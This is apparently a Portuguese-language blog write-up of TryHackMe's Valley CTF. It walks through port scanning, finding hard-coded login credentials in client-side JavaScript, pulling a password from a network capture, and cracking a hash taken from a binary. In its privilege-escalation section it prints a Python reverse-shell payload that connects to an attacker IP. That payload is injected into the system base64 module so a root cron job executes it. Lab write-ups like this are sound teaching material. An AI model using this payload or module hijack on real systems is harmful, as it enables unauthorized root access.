Documentação: Valley CTF

Valley CTF Writeup

O Valley CTF da TryHackMe engloba vários tópicos essenciais em segurança da informação. O desafio envolve, entre outros, os seguintes itens:

  • Divulgação não autorizada de informações confidenciais;
  • Análise de arquivos .PCAP de tráfego de rede capturado pelo Wireshark;
  • Engenharia reversa de uma executável ELF;
  • Escalonamento lateral de privilégios;
  • Sequestro de módulo python;
  • Escalonamento vertical de privilégios.
Behind Security webp logo
Simplificando cibersegurança.

1. Escaneamento de portas

Portas comuns, também conhecidas como “Well-known Ports” ou “Portas Registradas”, são portas numeradas que foram atribuídas pela Internet Assigned Numbers Authority (IANA) para serviços específicos e protocolos amplamente utilizados. Essas portas são numeradas de 0 a 1023 e são reservadas para serviços comuns e amplamente reconhecidos.

Contudo, após rodar um scan completo TCP pelo nmap, notei que há uma porta incomum aberta. Dá uma olhada abaixo.

Valley CTF nmap scan
Resultado do scan TCP pelo nmap

A porta 37370 está aberta, rodando um servidor FTP. Chequei por vulnerabilidades da versão vsftpd 3.0.3, mas não encontrei nada relevante. Tentei também, sem sucesso, me aproveitar da funcionalidade de login anônimo do FTP para ver se havia algum arquivo disponível. Além disso, nada fora do comum, porta 22 rodando SSH (infelizmente ainda não temos credenciais válidas) e porta 80 rodando HTTP, que será nosso foco a partir de agora.

2. Exploração do servidor web

A página principal não dá muitas informações relevantes, e não há nada de interessante no código fonte das páginas até o momento.

Então, rodei o feroxbuster, com a wordlist comum do dirb, só pra ter uma visualização geral da estrutura do site.

Resultado do primeiro scan do feroxbuster

Depois de analisar todos os endpoints minuciosamente, os que apresentaram informações interessantes foram: /static/ /pricing/note.txt

————— /pricing/note.txt —————
J,

Please stop leaving notes randomly on the website
-RP
————— Fim do conteúdo —————

O /static/ é onde, teóricamente, todas as imagens de /gallery/gallery.html estão armazenadas, e deveria ser um index de diretório contendo as imagens. Porém, ao invés disso, ele mostra que é um index de diretório, mas não lista o conteúdo, mesmo sabendo que há imagens em /static/1 até /static/18. Estranho.

Com isso em mente, rodei novamente o feroxbuster, mas agora com outra wordlist mais potente e diretamente no endpoint /static.

Resultado do scan do feroxbuster direcionado em /static/

Depois de um tempo escaneando, a entrada /static/00 apareceu. Além de descobrir o nome de um possível usuário do sistema (valleyDev), fui capaz também de acessar de maneira não autorizada um portal de login escondido.

Portal de login escondido

Antes de tentar qualquer outra coisa, é sempre importante dar uma olhada no código fonte, para ter uma noção mais profunda sobre o que realmente o formulário está fazendo. No código fonte do portal de login, há a chamada de um script nomeado de dev.js, e há uma curiosidade… duvidosa, no código. Dá só uma olhada:

Credenciais "hard-coded"

Esse script em js é responsável por autenticar o usuário pelo formulário de login, e podemos ver que não há nenhum tipo de conexão com base de dados ou algo do gênero, o que o usuário coloca no formulário é brutamente comparado com as credenciais corretas de maneira client-side, ou seja, podemos visualizar o usuário e a senha. Como padrão dos CTFs, censurei a senha de siemDev na imagem, para que você vá lá e tente com suas próprias mãos.

Assim que efetuamos o login (poderiamos apenas ter acessado diretamente o endpoint que está presente também no script acima em /dev1243224123123/devNotes37370.txt) somos redirecionados para uma página que parece ser somente uma anotação do desenvolvedor. Ele diz, dentre outras coisas, que precisa parar de reusar credenciais. Com isso em mente, tentei, sem sucesso, efetuar o login como siemDev via ssh, e logo depois, mas agora com sucesso, efetuei login no servidor ftp.

3. Exploração do servidor FTP

Conectando no servidor ftp e extraindo os arquivos disponíveis

4. Análise de captura de rede

O Wireshark é uma ferramenta de análise de protocolos de código aberto, amplamente utilizada por profissionais de redes e segurança.

Fiz o download de alguns arquivos de tráfego de rede (.pcap) pelo servidor ftp, e então, após analisar com o Wireshark, obtive informações detalhadas sobre os pacotes que foram enviados e recebidos em uma rede. Examinei o conteúdo, os cabeçalhos e os metadados dos pacotes, e isso revelou uma credencial crucial para o andamento do ctf.

Análise do tráfego de rede

Na imagem, é possível ver que o cliente fez uma requisição HTTP com método POST para /index.html, mas, por ser HTTP, e não HTTPS que é encriptado, as informações que ele enviou ao website ficaram expostas. A senha foi censurada como de costume.

Para chegar na tela que é mostrada na imagem, basta abrir o arquivo .pcapng com o wireshark (pela linha de comando é só rodar wireshark arquivo.pcapng), clicar com o botão direito em algum pacote que use o protocolo TCP (nesse caso, vi requisições HTTP e achei interessante), passar o mouse em “Follow”, e depois selecionar “TCP Stream”.

5. Shell inicial e escalonamento horizontal de privilégios

Usando as credenciais expostas no arquivo de captura de rede, é possível efetuar login via ssh com o usuário valleyDev. A flag user.txt está em /home/valleyDev. 

A primeira coisa que eu faço religiosamente ao obter uma shell inicial é dar um jeito de transferir a versão mais recente do linpeas para a máquina (veja mais detalhes abaixo). Caso não consiga, a opção é buscar oturo script ou enumerar manualmente por vetores de escalonamento de privilégios.

Pelo resultado do scan do linpeas, pude visualizar claramente que há um script em python rodando a cada 1 minuto por meio de um cronjob. Felizmente, meu usuário tem permissão para ler o conteúdo do arquivo, então, pude entender melhor o que o script está programado para fazer.

  • Primeiro, obtenha a versão mais recente do linpeas.

[Máquina do atacante]$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh

  • Então, hospede um servidor web local usando python no diretório em que sua cópia do linpeas está.

[Máquina do atacante]$ python -m http.server 8000

  • Na máquina do CTF, faça o download do linpeas.

[Máquina do CTF – OPÇÃO 1]$ cd /dev/shm && curl http://seu-endereço-ip-da-vpn:8000/linpeas.sh -o linpeas.sh
[Máquina do CTF – OPÇÃO 2]$ cd /dev/shm && wget http://seu-endereço-ip-da-vpn:8000/linpeas.sh

Código em python rodando a cada 1 minuto automaticamente

Nada muito complexo, estamos aqui importando o módulo base64, iniciando um loop pelo range(1, 7), definindo uma variável com o caminho onde ficam as imagens de maneira adaptada, substituindo o número na frente a cada iteração do loop. Então, abrimos o arquivo da imagem em modo leitura de bytes criando um “file pointer” em image_file e criamos outra variável para armazenar os dados da imagem. Os dados da imagem são codificados em base64, definimos a localização onde a imagem codificada será armazenada, e então abrimos naquela localização no modo de escrita de bytes (“wb”) e escrevemos os dados da imagem codificada lá.

Verifiquei as permissões do diretório, para ver se eu poderia modificar alguma imagem de modo que conseguisse tomar vantagem de algum aspecto de quando o código processa a imagem, mas não consigo alterar nada. Então, virei meus olhos para o módulo base64 que o script está importando logo de início, e comecei a pensar se seria possível modificar esse módulo.

No sistema Linux, os módulos Python são armazenados em diretórios específicos, seguindo uma hierarquia padrão. Este diretório é geralmente encontrado em um caminho como “/usr/lib/pythonX.Y/site-packages” (em que “X.Y” representa a versão específica do Python instalada). O diretório “site-packages” é onde os pacotes e bibliotecas externas são instalados. Cada pacote ou biblioteca pode conter vários módulos Python relacionados, organizados em subdiretórios.

Nesse caso, os módulos padrões do python estão localizados em /usr/lib/python3.8/, e podemos ver a existência do módulo base64 em /usr/lib/python3.8/base64.py. Verificando as permissões do arquivo, notei que o grupo que é dono do arquivo é o “valleyAdmin“. Muito interessante.

Então, verifiquei são os membros do grupo valleyAdmin, e com essa informação pude direcionar minha atenção para o usuário valley. O arquivo “valleyAuthenticator“, em /home/valleyAuthenticator, é no mínimo incomum, e para melhorar, o dono do arquivo é valley. Vamos dar uma olhada mais a fundo nesse arquivo.

Transferindo o arquivo para a minha máquina e verificando seu conteúdo

Brinquei um pouco com o executável antes de fazer esse procedimento da print, mas não obtive nenhum resultado promissor. Portanto, fiz a transferência do arquivo para a minha máquina para poder executar algumas técnicas de engenharia reversa. Eu jurei que iria precisar abrir o ghidra e ir super a fundo, mas não necessariamente. Um simples strings me caiu bem.

Perceba que, quando filtrei pela palavra “pass”, logo acima, além de todo o conteúdo sem sentido, há algo valioso. O que está delimitado em vermelho do lado direito da print é uma hash (possivelmente escondendo a senha do usuário), percebi assim que bati o olho. Precisei arrumar ela um pouco, visto que não estava em uma linha só, mas foi fácil usar o crackstation, com sua rainbow table, para crackear a hash.

Usando o crackstation para crackear a hash

Logo após crackear a hash, voltei a executar o binário na máquina do ctf, especifiquei o usuário como valley e coloquei a senha que acabei de obter, obtendo assim sucesso. Logo em seguida, tentei fazer login como valley usando o comando su valley e pronto! Agora, eu sou valley.

6. Escalonamento vertical de privilégios

Agora que conseguimos autenticar como valley, podemos editar o arquivo /usr/lib/python3.8/base64.py, já que somos parte do grupo valleyAdmin. Vamos nessa!

Inserindo código malicioso no módulo base64.py

import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.6.11.210”, 9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn(“bash”)

Quando o cronjob executar o script lá em /photos/script/photosEncrypt.py, o módulo base64 será importado e o código acima será executado junto, só basta que eu tenha uma listener netcat ouvindo na minha máquina e está tudo certo. Lembre-se de alterar o IP em s.connect((“IP”, 9001)) para o endereço IP da sua VPN.

Fazendo isso, basta salvar o arquivo e pacientemente aguardar a conexão reversa da máquina como root. A flag de root.txt está localizada em /root.

7. Conclusão

Esperamos que você tenha considerado o nosso conteúdo útil, e te convidamos a explorar mais do nosso website para descobrir outros tópicos interessantes que nós cobrimos. De cibersegurança a programação, nos esforçamos muito para dar aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manterem informados e irem além da curva. Temos o comprometimento de providenciar a melhor experiência de usuário a você, e estamos abertos para feedbacks e sugestões pelo formulário de contato. Obrigado por escolher a BehindSecurity, esperamos ver você novamente em breve!

Rolar para cima